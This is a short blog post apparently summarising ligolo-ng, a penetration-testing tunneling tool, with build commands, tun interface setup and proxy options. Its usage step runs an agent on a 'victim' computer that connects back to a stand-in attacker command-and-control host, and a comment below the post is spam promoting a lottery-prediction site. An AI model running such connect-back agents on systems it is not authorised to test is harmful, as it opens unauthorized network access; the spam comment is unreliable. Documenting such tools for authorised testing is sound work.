top of page
Search

ligolo-ng

Nov 8, 2024
1 min read

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

Install: (Download)

Precompiled binaries (Windows/Linux/macOS) are available on the Release page.

Install: (Build)

Building ligolo-ng (Go >= 1.17 is required):

go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go

# Build for Windows
GOOS=windows go build -o agent.exe cmd/agent/main.go
GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Setup: (Linux)

sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up

Setup: (Windows)

You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).

Setup: (Proxy server)

./proxy -h # Help options
./proxy -autocert # Automatically request LetsEncrypt certificates

Usage:

Start the agent on your target (victim) computer (no privileges are required!):

./agent -connect attacker_c2_server.com:11601

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Full usage information can be found here.



 
 
 

1 Comment


Mình mua xổ số chủ yếu cho vui, kiểu có thêm chút cảm giác hồi hộp rồi xem kết quả giải trí thôi, chứ không đặt nặng chuyện phải trúng. Trước đây nghe người ta bàn về “cầu” này “cầu” kia mình cũng nửa tin nửa ngờ, nhưng theo dõi một thời gian thì thấy đôi lúc có vài dạng trùng lặp khiến mình chú ý. https://soicauxsmb.io/so-dep-hom-nay.html thỉnh thoảng mình ghé qua để có thêm chuyện nói với bạn bè, chứ cũng không coi đó là chuẩn tuyệt đối. Mỗi lần đọc dự đoán ở đâu đó, mình hay ghi lại vài ý ngắn rồi sau đó đối chiếu, xem có phải mình tự hợp lý hóa không. Có hôm…

Like

Drop Me a Line, Let Me Know What You Think

© 2035 by Train of Thoughts. Powered and secured by Thiru

bottom of page